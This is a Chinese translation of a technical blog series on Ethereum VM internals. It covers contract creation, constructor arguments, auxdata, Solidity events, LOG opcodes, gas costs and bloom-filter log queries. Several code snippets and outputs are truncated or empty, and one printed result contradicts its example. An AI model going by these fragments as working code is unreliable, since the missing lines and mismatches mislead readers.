`dataSize(sub_0)`​ 和 `dataOffset(sub_0)`​ 不是真正的指令。它们实际上是将常量放入堆栈的 PUSH 指令。两个常量 `0x1C`​ (28) 和 `0x36`​ (54) 指定一个字节码子串作为合约代码返回。

部署代码汇编大致对应如下 Python3 代码：

```python
memory = []
calldata = bytes.fromhex("60606040523415600e57600080fd5b5b603680601c6000396000f30060606040525b600080fd00a165627a7a72305820b5090d937cf89f134d30e54dba87af4247461dd3390acf19d4010d61bfdd983a0029")

size = 0x36   // dataSize(sub_0)
offset = 0x1c // dataOffset(sub_0)

// Copy substring of calldata to memory
memory[0:size] = calldata[offset:offset+size]

// Instead of return, print the memory content in

hex
print(bytes(memory[0:size]).hex())
```

结果内存内容是：

```shell
a165627a7a72305820b5090d937cf89f134d30e54dba87af4247461dd3390acf19d4010d61bfdd983a0029
```

对应于汇编（加上 auxdata）：

```shell
// 6060604052600080fd00
tag_1:
  0x0
  dup1
  revert

auxdata: 0xa165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
```

再次查看 Etherscan，这正是部署为合约代码的内容：[Ethereum Account 0x2c7f561f1fc5c414c48d01e480fdaae2840b8aa2 Info](https://rinkeby.etherscan.io/address/0x2c7f561f1fc5c414c48d01e480fdaae2840b8aa2#code)

```shell
PUSH1 0x60
PUSH1 0x40
MSTORE
JUMPDEST
PUSH1 0x00
DUP1
REVERT
STOP
```

## CODECOPY

部署代码使用 `codecopy`​ 从交易的输入数据复制到内存。

与其他更简单的指令相比，`codecopy`​ 指令的确切行为和参数不那么明显。如果我在黄皮书中查找它，我可能会更加困惑。相反，让我们参考 go-ethereum 源代码，看看它在做什么。

见 [CODECOPY](https://sourcegraph.com/github.com/ethereum/go-ethereum@e9295163aa25479e817efee4aac23eaeb7554bba/-/blob/core/vm/instructions.go#L408:6)：

```go
func opCodeCopy(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
	var

(
		memOffset  = stack.pop()
		codeOffset = stack.pop()
		length     = stack.pop()
	)
	codeCopy := getDataBig(contract.Code, codeOffset, length)
	memory.Set(memOffset.Uint64(), length.Uint64(), codeCopy)

	evm.interpreter.intPool.put(memOffset, codeOffset, length)
	return nil, nil
}
```

没有希腊字母！

> `evm.interpreter.intPool.put(memOffset, codeOffset, length)`​ 行回收对象 (big integers) 以供后面使用。这只是一个效率优化。

## Constructor Argument

除了返回合约代码外，部署代码的另一个目的是运行构造函数进行设置。如果有构造函数参数，部署代码需要以某种方式从某个地方加载参数数据。

传递构造函数参数的 Solidity 约定是在调用 `eth_sendtransaction`​ 时在字节码末尾附加 ABI 编码的参数值。 RPC 调用会将字节码和 ABI 编码参数一起作为输入数据传递，如下所示：

```json
{
  "from": "0xbd04d16f09506e80d1fd1fd8d0c79afa49bd9976"
  "data": hexencode(compiledByteCode + encodedParams),
}
```

让我们看一个带有一个构造函数参数的示例合约：

	uint256 a;

	function C(uint256 _a) {
		a = _a;
	}
}
```

我创建了这个合约，传入值 `66`​。 Etherscan

上的交易：[https://rinkeby.etherscan.io/tx/0x2f409d2e186883bd3319a8291a345ddbc1c0090f0d2e182a32c9e54b5e3fdbd8](https://rinkeby.etherscan.io/tx/0x2f409d2e186883bd3319a8291a345ddbc1c0090f0d2e182a32c9e54b5e3fdbd8)

输入数据为：

```shell
0x60606040523415600e57600080fd5b6040516020806073833981016040528080519060200190919050508060008190555050603580603e6000396000f3006060604052600080fd00a165627a7a7230582062a4d50871818ee0922255f5848ba4c7e4edc9b13c555984b91e7447d3bb0e7400290000000000000000000000000000000000000000000000000000000000000042
```

我们可以在最后看到构造函数参数，即数字 66，但 ABI 编码为 32 字节数字：

```shell
0000000000000000000000000000000000000000000000000000000000000042
```

为了处理构造函数中的参数，部署代码将 ABI 参数从 `calldata`​ 的末尾复制到内存中，然后从内存复制到堆栈中。

## A Contract That Creats Contracts

`FooFactory`​ 合约可以通过调用 `makeNewFoo`​ 创建新的 `Foo`​ 实例：

}

contract FooFactory {
	address fooInstance;

	function makeNewFoo() {
		fooInstance = new Foo();
	}
}
```

该合约的完整汇编在 [This Gist](https://gist.github.com/hayeah/a94aa4e87b7b42e9003adf64806c84e4)

中。编译器输出的结构比较复杂，因为有两组“install time”和“run time”字节码。它是这样组织的：

```shell
FooFactoryDeployCode
FooFactoryContractCode
	FooDeployCode
	FooContractCode
	FooAUXData
FooFactoryAUXData
```

`FooFactoryContractCode`​ 基本上是复制 `tag_8`​ 中 `Foo`​ 的字节码，然后跳转回 `tag_7`​ 以执行 `create`​ 指令。

`create`​ 指令类似于 `eth_sendtransaction`​ RPC 调用。它提供了一种在 EVM 内创建新合约的方法。

有关 go-ethereum 源代码，请参见 [opCreate](https://sourcegraph.com/github.com/ethereum/go-ethereum@e9295163aa25479e817efee4aac23eaeb7554bba/-/blob/core/vm/instructions.go#L572:6)。该指令调用 `evm.Create`​ 来创建一个合约：

```go
res, addr, returnGas, suberr := evm.Create(contract, input, gas, value)
```

我们之前见过 `evm.Create`​，但这次调用者是智能合约，而不是人。

## AUXDATA

如果您真的必须了解 auxdata 是什么，请阅读 [Contract Metadata](https://github.com/ethereum/solidity/blob/8fbfd62d15ae83a757301db35621e95bccace97b/docs/metadata.rst#encoding-of-the-metadata-hash-in-the-bytecode)。它的要点是 `auxdata`​ 是一个哈希值，您可以使用它来获取有关已部署合约的元数据。

`auxdata`​ 的格式为：

```shell
0xa1 0x65 'b' 'z' 'z' 'r' '0' 0x58 0x20 <32 bytes swarm hash> 0x00 0x29
```

解构我们之前看到的 auxdata 字节序列：

```shell
a1 65
// b z z r 0 (ASCII)
62 7a

7a 72 30
58 20
// 32 bytes hash
62a4d50871818ee0922255f5848ba4c7e4edc9b13c555984b91e7447d3bb0e74
00 29
```

合约被创建的方式类似于自解压软件安装程序的工作方式。当安装程序运行时，它会配置系统环境，然后通过读取其程序包将目标程序提取到系统中。

* “install time”和“run time”之间存在强制分离。没有办法运行构造函数两次。
* 智能合约可以使用相同的过程来创建其他智能合约。
* 非 Solidity 语言很容易实现。

起初，我发现“智能合约安装程序”的不同部分在交易中作为 `data`​ 字节字符串打包在一起，这让我感到困惑：

```json
{
  "data": constructorCode + contractCode + auxdata + constructorData
}
```

从阅读 `eth_sendtransaction`​ 的文档来看，`data`​ 应该如何编码并不明显。我无法弄清楚构造函数参数是如何传递到交易中的，直到一个朋友告诉我它们是 ABI 编码然后附加到字节码的末尾。

另一种更清晰的设计可能是将这些部分作为交易中的单独属性发送：

```json
{
	// For "install time" bytecode
	"constructorCode": ...,
	// For "run time" bytecode
	"constructorBody": ...,
	// For encoding arguments
	"data": ...,
}
```

不过，仔细想想，我认为 Transaction 对象如此简单实际上非常强大。对于交易来说，`data`​ 只是一个字节字符串，它并没有规定如何解释数据的语言模型。通过保持 Transaction 对象的简单性，语言实现者有一个用于设计和实验的空白画布(blank canvas)。

事实上，未来 `data`​ 甚至可以由不同的虚拟机解释。

# 深入以太坊虚拟机 Part6 — Solidity 事件实现

> 原文：[How Solidity Events Are Implemented — Diving Into The Ethereum VM Part 6 | by Howard | Jan 21, 2018](https://blog.qtum.org/how-solidity-events-are-implemented-diving-into-the-ethereum-vm-part-6-30e07b3037b9)

在上一部分中，我们了解了“方法”是如何建立在更简单的 EVM 原语（如“跳转”和“比较”指令）之上的抽象。

在本文中，我们将深入探讨 [Solidity Events](https://docs.soliditylang.org/en/develop/contracts.html#events)。总的来说，事件日志有三种主要用途：

* 作为替代返回值，因为交易不记录方法的返回值。
* 作为一种更便宜的替代数据存储，只要合约不需要访问它。
* 最后，作为 DApp 客户端可以订阅的事件。

事件日志是一个相对复杂的语言特性。但就像方法一样，它们映射到更简单的 EVM 日志原语。

通过了解事件是如何使用较低级别的 EVM 指令实现的，以及它们的成本，我们将获得更好的直觉来有效地使用事件。

如果你对前面的内容不熟悉，请阅读前面的文章：

* [深入以太坊虚拟机 Part4 —

智能合约外部方法调用](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md)
* [深入以太坊虚拟机 Part5 — 智能合约创建过程](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part5.md)

## Solidity Events

Solidity 事件如下所示：

event Deposit(
	address indexed _from,
	bytes32 indexed _id,
	uint _value
);
```

* 它的名称为 `Deposit`​；
* 它具有三个不同类型的参数；
* 其中两种类型是 "indexed"；
* 一个参数不是 "indexed"。

Solidity 事件有两个奇怪的限制：

* 最多可以有 3 个索引参数；
* 如果索引参数的类型大于 32 字节（比如 string 和 bytes），则不存储实际数据，而是存储数据的 KECCAK256 摘要。

为什么会这样？索引参数和非索引参数有什么区别？

## EVM Log Primitives

要开始了解 Solidity 事件的这些怪癖和限制，让我们看一下 `log0`​、`log1`​、...、`log4`​ EVM 指令。

EVM 日志工具使用与 Solidity 不同的术语：

* “topics”：最多可以有 4 个主题(topic)。每个主题正好是 32 个字节。
* “data”：数据是事件的有效负载(payload)。它可以是任意数量的字节。

Solidity 事件如何映射到日志原语？

* 事件的所有“非索引参数”都存储为数据。
* 事件的每个“索引参数”都存储为一个 32 字节的主题。

由于 string 和 bytes 可能超过 32 个字节，如果它们被索引，Solidity 将存储 KECCAK256 摘要而不是实际数据。

Solidity 最多允许拥有 3 个索引参数，但 EVM 最多允许拥有 4 个主题。事实证明，Solidity 将一个主题用作事件的签名。

## The log0 Primitive

最简单的日志原语是

`log0`​。这将创建一个只有数据但没有主题的日志项。日志的数据可以是任意字节数。

我们可以在 Solidity 中直接使用 `log0`​。在本例中，我们将存储一个 32 字节的数字：

pragma solidity ^0.4.18;

contract Logger {
	function Logger() public {
		log0(0xc0fefe);
	}
}
```

生成的汇编可以分为两半。前半部分将日志数据（`0xc0fefe`​）从堆栈复制到内存中。后半部分将 `log0`​ 指令的参数放在堆栈上，告诉它在内存中加载数据的位置。

带注释的汇编：

```shell
memory: { 0x40 => 0x60 }

tag_1:
  // copy data into memory
  0xc0fefe
  mload(0x40)
    [0x60 0xc0fefe]
  swap1
    [0xc0fefe 0x60]
  dup2
    [0x60 0xc0fefe 0x60]
  mstore
    [0x60]
    memory: {
      0x40 => 0x60
      0x60 => 0xc0fefe
    }

// calculate data start position and size
  0x20
    [0x20 0x60]
  add
    [0x80]
    [0x60 0x80]
  dup1
    [0x60 0x60 0x80]
  swap2
    [0x60 0x80 0x60]
  sub
  swap1
    [0x60 0x20]

log0
```

就在执行 `log0`​ 之前，堆栈上有两个参数：`[0x60 0x20]`​。

* `start`​：0x60 是内存中加载数据的位置。
* `size`​：0x20（或32）指定要加载的数据的字节数。

`log0`​ 的 go-ethereum 实现如下：

```go
func log0(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
	mStart, mSize := stack.pop(), stack.pop()

	data := memory.Get(mStart.Int64(), mSize.Int64())

	evm.StateDB.AddLog(&types.Log{
		Address:

contract.Address(),
		Data:    data,
		// This is a non-consensus field, but assigned here because
		// core/state doesn't know the current block number.
		BlockNumber: evm.BlockNumber.Uint64(),
	})

	evm.interpreter.intPool.put(mStart, mSize)
}
```

您可以在这段代码中看到 `log0`​ 从堆栈中弹出两个参数，然后从内存中复制数据。然后它调用 `StateDB.AddLog`​ 将日志与合约关联起来。

## Logging With Topics

主题是 32 字节的任意数据。以太坊实现将使用这些主题来索引日志，以实现高效的事件日志查询和过滤。

这个例子使用 `log2`​ 原语。第一个参数是数据（任意字节数），后跟 2 个主题（32 字节）：

// log-2.sol

		log2(0xc0fefe, 0xaaaa1111, 0xbbbb2222);
	}
}
```

汇编非常相似。唯一的区别是两个主题（`0xbbbb2222`​, `0xaaaa1111`​）在一开始就被压入堆栈：

```shell
tag_1:
  // push topics
  0xbbbb2222
  0xaaaa1111

// copy data into memory
  0xc0fefe
  swap1
  dup2
  mstore
  0x20
  add
  dup1
  swap2
  sub
  swap1

// create log
  log2
```

数据还是 `0xc0fefe`​，复制到内存。在执行 `log2`​ 之前，EVM 的状态如下所示：

```shell
stack: [0x60 0x20 0xaaaa1111 0xbbbb2222]
memory: {
  0x60: 0xc0fefe
}

log2
```

前两个参数指定用作日志数据的内存区域。两个额外的堆栈参数是两个 32 字节的主题。

## All EVM Logging Primitives

EVM 支持 5

个日志原语：

```shell
0xa0 LOG0
0xa1 LOG1
0xa2 LOG2
0xa3 LOG3
0xa4 LOG4
```

除了使用的主题数量外，它们都是相同的。 go-ethereum 实现实际上使用相同的代码生成这些指令，只是大小不同，它指定要从堆栈中弹出的主题数。

```go
func makeLog(size int) executionFunc {
	return func(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
		topics := make([]common.Hash, size)
		mStart, mSize := stack.pop(), stack.pop()
		for i := 0; i < size; i++ {
			topics[i] = common.BigToHash(stack.pop())
		}

		d := memory.Get(mStart.Int64(), mSize.Int64())
		evm.StateDB.AddLog(&types.Log{
			Address: contract.Address(),
			Topics:  topics,
			Data:    d,
			// This is a non-consensus field, but assigned here because
			// core/state doesn't know the current block number.
			BlockNumber: evm.BlockNumber.Uint64(),
		})

		evm.interpreter.intPool.put(mStart, mSize)
		return nil, nil
	}
}
```

随意看一下 sourcegraph

上的代码：[https://sourcegraph.com/github.com/ethereum/go-ethereum@83d16574444d0b389755c9003e74a90d2ab7ca2e/-/blob/core/vm/instructions.go#L744](https://sourcegraph.com/github.com/ethereum/go-ethereum@83d16574444d0b389755c9003e74a90d2ab7ca2e/-/blob/core/vm/instructions.go#L744)

## Logging Testnet Demo

让我们尝试使用已部署的合约生成一些日志。合约记录 5 次，使用不同的数据和主题：

		log0(0x0);
		log1(0x1, 0xa);
		log2(0x2, 0xa, 0xb);
		log3(0x3, 0xa, 0xb, 0xc);
		log4(0x4, 0xa, 0xb, 0xc, 0xd);
	}
}
```

该合约部署在 Rinkeby 测试网络上。创建此合约的交易是：[https://rinkeby.etherscan.io/tx/0x0e88c5281bb38290ae2e9cd8588cd979bc92755605021e78550fbc4d130053d1](https://rinkeby.etherscan.io/tx/0x0e88c5281bb38290ae2e9cd8588cd979bc92755605021e78550fbc4d130053d1)

单击“Event Logs”选项，您应该会看到 5 个日志项的原始数据。

主题都是 32 字节。我们记录为数据的数字被编码为 32 字节的数字。

## Querying For The Logs

让我们使用以太坊的 JSON RPC 来查询这些日志。以太坊 API 节点将创建索引，以便通过匹配主题来高效查找日志，或查找由合约地址生成的日志。

我们将使用 [infura.io](https://infura.io/) 提供的托管 RPC 节点。您可以通过注册免费帐户来获取 API 密钥。

获得密钥后，设置 shell 变量 `INFURA_KEY`​ 以使以下

curl 示例正常工作：

举个简单的例子，让我们调用 [eth_getLogs](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getlogs) 来获取与合约相关的所有日志：

```shell
curl "https://rinkeby.infura.io/$INFURA_KEY" \
  -X POST \
  -H "Content-Type: application/json" \
  --data '
{
  "id": 1,
  "method": "eth_getLogs",
  "params": [{
    "fromBlock": "0x0",
    "address": "0x507e86b11541bcb1f3fe200b2f10ed8fd9413bd0"
  }]
}
'
```

* `fromBlock`​：从哪个块开始寻找日志。默认情况下，它开始查看区块链的顶端。我们想要所有的日志，所以我们从第一个块开始。
* `address`​：日志是通过合约地址来索引的，所以这实际上是非常有效的。

输出是 etherscan 为“Event Logs”选项显示的基础数据。查看完整输出：[evmlog.json](https://gist.github.com/hayeah/fbc862a87534bc45e77eddea9d779847)。

JSON API 返回的日志项如下所示：

```json
{
	"address": "0x507e86b11541bcb1f3fe200b2f10ed8fd9413bd0",
	"topics": [
		"0x000000000000000000000000000000000000000000000000000000000000000a"
	],
	"data": "0x0000000000000000000000000000000000000000000000000000000000000001",
	"blockNumber": "0x179097",
	"transactionHash": "0x0e88c5281bb38290ae2e9cd8588cd979bc92755605021e78550fbc4d130053d1",
	"transactionIndex": "0x1",
	"blockHash":

"0x541bb92d8de24cad637717cdc43ae5e66d9d6193b9f964fbb6461f6727eb9e57",
	"logIndex": "0x2",
	"removed": false
}
```

接下来，我们可以查询匹配主题“0xc”的日志：

```shell
  -X POST \
  --data '
{
  "id": 1,
    "fromBlock": "0x179097",
    "toBlock": "0x179097",
    "address": "0x507e86b11541bcb1f3fe200b2f10ed8fd9413bd0",
    "topics": [null, null, "0x000000000000000000000000000000000000000000000000000000000000000c"]
  }]
}
'
```

* `topics`​：要匹配的主题数组。`null`​ 匹配任何东西。见[详细说明](https://github.com/ethereum/wiki/wiki/JSON-RPC#parameters-38)。

应该有两个匹配的日志：

```json
{
    "topics": [
        "0x000000000000000000000000000000000000000000000000000000000000000a",
        "0x000000000000000000000000000000000000000000000000000000000000000b",
        "0x000000000000000000000000000000000000000000000000000000000000000c"
    ],
    "data": "0x0000000000000000000000000000000000000000000000000000000000000003",
    "blockNumber": "0x179097",
   
   "transactionHash": "0x0e88c5281bb38290ae2e9cd8588cd979bc92755605021e78550fbc4d130053d1",
    "transactionIndex": "0x1",
    "blockHash": "0x541bb92d8de24cad637717cdc43ae5e66d9d6193b9f964fbb6461f6727eb9e57",
    "logIndex": "0x4",
    "removed": false
},
{
        "0x000000000000000000000000000000000000000000000000000000000000000c",
        "0x000000000000000000000000000000000000000000000000000000000000000d"
    ],
    "data": "0x0000000000000000000000000000000000000000000000000000000000000004",
    "transactionHash": "0x0e88c5281bb38290ae2e9cd8588cd979bc92755605021e78550fbc4d130053d1",
    "logIndex": "0x5",
}
```

## Logging Gas Costs

日志原语的 gas 费用取决于您拥有多少主题以及您记录了多少数据：

```shell
// Per byte in a LOG operation's

data
LogDataGas       uint64 = 8
// Per LOG 
topicLogTopicGas uint64 = 375   
// Per LOG operation.
LogGas           uint64 = 375
```

这些常量在 [protocol_params](https://github.com/ethereum/go-ethereum/blob/a139041d409d0ffaf81c7cf931c6b24299a05705/params/protocol_params.go#L25) 中定义。

不要忘记使用的内存，即每字节 3 gas：

```shell
MemoryGas        uint64 = 3  
```

等什么？每字节日志数据只花费 8 gas？也就是说 32 个字节需要 256 个 gas，内存使用需要 96 个 gas。因此，322 gas 与 20000 gas 存储相同数量的数据，成本仅为 1.7%！

但是等一下，如果你将日志数据作为 calldata 传递给交易，你也需要为交易数据付费。 calldata 的 gas 成本为：

```shell
TxDataZeroGas      uint64 = 4     // zero tx data abyte
TxDataNonZeroGas   uint64 = 68    // non-zero tx data byte
```

假设所有 32 个字节都不为零，这仍然比存储便宜很多：

```shell
// cost of 32 bytes of log data
32 * 68 = 2176 // tx data cost
32 * 8 = 256 // log data cost
32 * 3 = 96 // memory usage cost
375 // log call cost
----
total (2176 + 256 + 96 + 375)

~14% of sstore for 32 bytes
```

大部分 gas 费用实际上都花在了交易数据上，而不是日志操作本身。

日志操作便宜的原因是日志数据并没有真正存储在区块链中。原则上，日志可以根据需要即时重新计算。尤其是矿工，可以简单地丢弃日志数据，因为未来的计算无论如何都无法访问过去的日志。

整个网络不承担日志成本。只有 API 服务节点需要实际处理、存储和索引日志。

所以日志的成本结构只是防止日志垃圾邮件(spamming)的最小成本。

了解了日志原语是如何工作的，Solidity 事件就很简单了。

让我们看一下采用 3 个 uint256

参数（非索引）的 `Log`​ 事件类型：

	event Log(uint256 a, uint256 b, uint256 c);
	function log(uint256 a, uint256 b, uint256 c) public {
		Log(a, b, c);
	}
}
```

与其查看汇编代码，不如查看生成的原始日志。

这是一个调用 `log(1, 2, 3)`​ 的交易：[https://rinkeby.etherscan.io/tx/0x9d3d394867330ae75d7153def724d062b474b0feb1f824fe1ff79e772393d395](https://rinkeby.etherscan.io/tx/0x9d3d394867330ae75d7153def724d062b474b0feb1f824fe1ff79e772393d395)

日志数据中的 data 是事件参数，ABI 编码：

```shell
```

只有一个 topic，一个神秘的 32 字节哈希：

```shell
0x00032a912636b05d31af43f00b91359ddcfddebcffa7c15470a13ba1992e10f0
```

这是事件类型签名的 SHA3 哈希：

```shell
# Install pyethereum 
# https://github.com/ethereum/pyethereum/#installation
> sha3("Log(uint256,uint256,uint256)").hex()
'00032a912636b05d31af43f00b91359ddcfddebcffa7c15470a13ba1992e10f0'
```

这与方法调用的

ABI 编码的工作方式非常相似。

因为 Solidity 事件使用一个主题作为事件签名，所以索引参数只剩下 3 个主题。

## Solidity Event With Indexed Arguments

让我们看一个具有一个 indexed `uint256`​ 参数的事件：

	event Log(uint256 a, uint256 indexed b, uint256 c);
	}
}
```

生成的事件日志中现在有两个 topic：

```shell
0x0000000000000000000000000000000000000000000000000000000000000002
```

* 第一个主题是事件类型签名，哈希后的。
* 第二个主题是索引参数，原值。

数据是 ABI 编码的事件参数，不包括索引参数(indexed parameters)：

```shell
```

## String/Bytes Event Parameter

现在让我们将事件参数更改为字符串：

	event Log(string a, string indexed b, string c);
	function log(string a, string b, string c) public {
	}
}
```

使用 `log("a", "b", "c")`​

生成日志。交易是：[https://rinkeby.etherscan.io/tx/0x21221c2924bbf1860db9e098ab98b3fd7a5de24dd68bab1ea9ce19ae9c303b56](https://rinkeby.etherscan.io/tx/0x21221c2924bbf1860db9e098ab98b3fd7a5de24dd68bab1ea9ce19ae9c303b56)

有两个主题：

```shell
0xb857d3ea78d03217f929ae616bf22aea6a354b78e5027773679b7b4a6f66e86b
0xb5553de315e0edf504d9150af82dafa5c4667fa618ed0a6f19c69b41166c5510
```

* 第一个主题还是方法签名。
* 第二个主题是字符串参数的 sha256 摘要。

让我们验证“b”的哈希是否与第二个主题相同：

```shell
>>> sha3("b").hex()
'b5553de315e0edf504d9150af82dafa5c4667fa618ed0a6f19c69b41166c5510'
```

日志数据是 ABI 编码的两个非索引字符串“a”和“c”：

```shell
0000000000000000000000000000000000000000000000000000000000000040
0000000000000000000000000000000000000000000000000000000000000080
6100000000000000000000000000000000000000000000000000000000000000
6300000000000000000000000000000000000000000000000000000000000000
```

不幸的是，索引字符串参数的原始字符串没有存储（因为使用的是哈希），因此 DApp

客户端无法恢复它。

如果您真的需要原始字符串，只需记录两次，包括索引和非索引：

```shell
event Log(string a, string indexed indexedB, string b);

Log("a", "b", "b");
```

## Query For Logs Efficiently

我们如何找到第一个主题匹配“0x000…001”的所有日志？我们可以从创世块开始，重新执行每一笔交易，看看生成的日志是否符合我们的过滤条件。这不好。

事实证明，区块头(block header)包含了足够的信息，让我们可以快速跳过没有我们想要的日志的块。

区块头包括父哈希、叔父哈希币库(coin base)和用于该区块中包含的交易生成的所有日志的布隆过滤器等信息。看起来像：

```json
type Header struct {

    ParentHash  common.Hash    `json:"parentHash"       gencodec:"required"`

    UncleHash   common.Hash    `json:"sha3Uncles"       gencodec:"required"`

    Coinbase    common.Address `json:"miner"            gencodec:"required"`

    // ...

    // The Bloom filter composed from indexable information (logger address and log topics) contained in each log entry from the receipt of each transaction in the transactions list
    Bloom       Bloom          `json:"logsBloom"       

       gencodec:"required"`
}
```

[https://sourcegraph.com/github.com/ethereum/go-ethereum@479aa61f11724560c63a7b56084259552892819d/-/blob/core/types/block.go#L70:1](https://sourcegraph.com/github.com/ethereum/go-ethereum@479aa61f11724560c63a7b56084259552892819d/-/blob/core/types/block.go#L70:1)

布隆过滤器是一个固定的 256 字节数据结构。它的行为类似于 set，您可以询问它是否存在某个主题。

所以我们可以这样优化日志查询流程：

```shell
for block in chain:
    # check bloom filter to filter out a block quickly
    if not block.Bloom.exist(topic):
        next
    # block might have the log we want, re-execute
    for tx in block.transactions:
        for log in tx.recalculateLogs():
            if log.topic[0].matches(topic)
                yield log
```

除了主题之外，发出日志的合约地址也被添加到布隆过滤器中。

## BloomBitsTrie

以太坊主网在 2018 年 1 月有大约 5,000,000 个区块，迭代所有区块仍然非常昂贵，因为您需要从磁盘加载区块头。

平均块头约为 500 字节，您总共将加载 2.5GB 的数据。

[Felföldi Zsolt](https://github.com/zsfelfoldi) 在 [PR #14970](https://github.com/ethereum/go-ethereum/pull/14970) 中实现了 BloomBitsTrie，以使日志过滤更快。其思想是，与其单独查看每个块的布隆过滤器，不如设计一个同时查看 32768 个块的数据结构。

要理解接下来的内容，您需要了解的关于布隆过滤器的最少信息是，将一段数据“哈希”为布隆过滤器中的 3 个随机（但确定性）位并将它们设置为 1。为了检查是否存在，我们检查这 3 位是否设置为

1。

以太坊中使用的布隆过滤器是 2048 位。

假设主题“0xa”将布隆过滤器的第 16、632 和 777 位设置为 1。BloomBits Trie 是 2048 x 32768 位图(bitmap)。对 `BloomBits`​ 结构进行索引为我们提供了三个 32768 位向量：

```shell
BloomBits[15] => 32768 bit vector (4096 byte)
BloomBits[631] => 32768 bit vector (4096 byte)
BloomBits[776] => 32768 bit vector (4096 byte)
```

这些位向量告诉我们哪些块的布隆过滤器的第 16、632 和 777 位设置为 1。

让我们看看这些向量的前 8 位，可能看起来像

```shell
10110001...
00101101...
10101001...
```

* 第 1 个块的第 16 位和第 776 位设置为 1，但不是第 631 位。
* 第 3 个块设置了所有三个位。
* 第 8 个块设置了所有三个位。

然后我们可以通过对这些向量应用二进制与来快速找到匹配所有三个位的块：

```shell
00100001...
```

最后的位向量准确地告诉我们 32768 中哪些块符合我们的过滤条件。

为了匹配多个主题，我们只需对每个主题进行相同的索引，然后将最终的位向量二进制和。

有关其工作原理的更多详细信息，请参阅 [BloomBits Trie](https://github.com/zsfelfoldi/go-ethereum/wiki/BloomBits-Trie)。

总的来说，一个 EVM 日志最多可以有 4 个主题，以及任意数量的字节作为数据。 Solidity 事件的非索引参数被 ABI 编码为数据，索引参数用作日志主题。

存储日志数据的 gas 成本比普通存储要便宜得多，因此只要您的合约不需要访问数据，您就可以将其视为 DApp 的替代方案。

日志设施的两种替代设计选择可能是：

* 允许更多数量的主题，尽管更多主题会降低用于按主题索引日志的布隆过滤器的有效性。
* 允许主题具有任意数量的字节。为什么不呢？

# 深入以太坊虚拟机系列

**原文**：
- [Diving Into The Ethereum Virtual Machine](https://medium.com/@hayeah/diving-into-the-ethereum-vm-6e8d5d2f3c30)
- [Diving Into The Ethereum VM Part 2 — How I Learned To Start Worrying And Count The Storage Cost](https://medium.com/@hayeah/diving-into-the-ethereum-vm-part-2-storage-layout-bc5349cb11b7)
- [Diving Into The Ethereum VM Part 3 — The Hidden Costs of Arrays](https://medium.com/@hayeah/diving-into-the-ethereum-vm-the-hidden-costs-of-arrays-28e119f04a9b)
- [Diving Into The Ethereum VM Part 4 — How To Decipher A Smart Contract Method Call](https://medium.com/@hayeah/how-to-decipher-a-smart-contract-method-call-8ee980311603)
- [Diving Into The Ethereum VM Part 5 — The Smart Contract Creation Process](https://medium.com/@hayeah/diving-into-the-ethereum-vm-part-5-the-smart-contract-creation-process-cb7b6133b855)
- [Diving Into The Ethereum VM Part 6 — How Solidity Events Are

Implemented](https://blog.qtum.org/how-solidity-events-are-implemented-diving-into-the-ethereum-vm-part-6-30e07b3037b9)

**原文作者**：[Howard](https://twitter.com/hayeah)

**翻译**：[alphafitz](https://twitter.com/alphafitz01)

> 写在前面：这是作者 [Howard](https://twitter.com/hayeah) 在 2017 年开始写的一系列文章，当时使用的编译器版本还是 0.4.x，但是其描述的以太坊虚拟机(EVM)的基本工作原理仍然适用并且十分值得学习，帮助我更好地理解了 EVM，故在此将其翻译为中文版。
> 
> 本文中给出的源代码及汇编代码仍然沿用原文内容，涉及到的版本不一致的问题请自行查阅学习。本人尽最大可能保证翻译通顺准确，但大家如果发现错误可以直接提交 pr。
>
>By alphafitz

## 译文

**[深入以太坊虚拟机 Part1 — 汇编与字节码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part1.md)**

**[深入以太坊虚拟机 Part2 — 固定长度数据类型的表示 ](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part2.md)**

**[深入以太坊虚拟机 Part3 — 动态数据类型的表示](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part3.md)**

**[深入以太坊虚拟机 Part4 — 智能合约外部方法调用](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md)**

**[深入以太坊虚拟机

Part5 — 智能合约创建过程](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part5.md)**

**[深入以太坊虚拟机 Part6 — Solidity 事件实现](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part6.md)**